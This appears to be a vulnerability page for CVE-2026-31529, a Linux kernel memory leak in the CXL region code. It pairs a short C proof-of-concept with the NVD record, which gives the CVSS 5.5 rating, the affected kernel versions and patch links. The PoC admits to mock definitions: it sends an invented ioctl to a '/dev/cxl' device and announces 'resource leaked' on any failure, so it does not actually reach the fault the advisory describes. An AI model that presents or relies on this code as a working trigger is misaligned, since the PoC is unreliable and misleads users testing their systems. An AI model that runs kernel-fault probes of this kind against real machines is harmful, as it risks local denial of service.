CVE-2026-31529

/* * PoC for CVE-2026-31529: Kernel Memory Leak in cxl/region * This code demonstrates the logic to trigger the leak. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> // Mock definitions for the sake of the PoC structure #define CXL_REGION_CREATE_IOCTL 0xC0 int main() { int fd; printf("[*] PoC for CVE-2026-31529: Triggering cxl_region leak\n"); // Open the CXL device interface fd = open("/dev/cxl", O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } // Attempt to create a region with parameters that force // sysfs_update_group() to fail early in __construct_region. // This requires specific kernel configuration or emulation. struct { int size; int flags; } params = { -1, 0 }; // Malformed params to induce failure if (ioctl(fd, CXL_REGION_CREATE_IOCTL, &params) != 0) { printf("[*] IOCTL failed (expected), resource leaked.\n"); } close(fd); printf("[+] Check kernel memory for leakage (slabtop).\n"); return 0; }

{"cve": {"id": "CVE-2026-31529", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:53.183", "lastModified": "2026-04-28T17:57:24.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/region: Fix leakage in __construct_region()\n\nFailing the first sysfs_update_group() needs to explicitly\nkfree the resource as it is too early for cxl_region_iomem_release()\nto do so."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/77b310bb7b5ff8c017524df83292e0242ba89791", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f1b4741adf08b0063291ec1b0dfa9c3d55644933", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}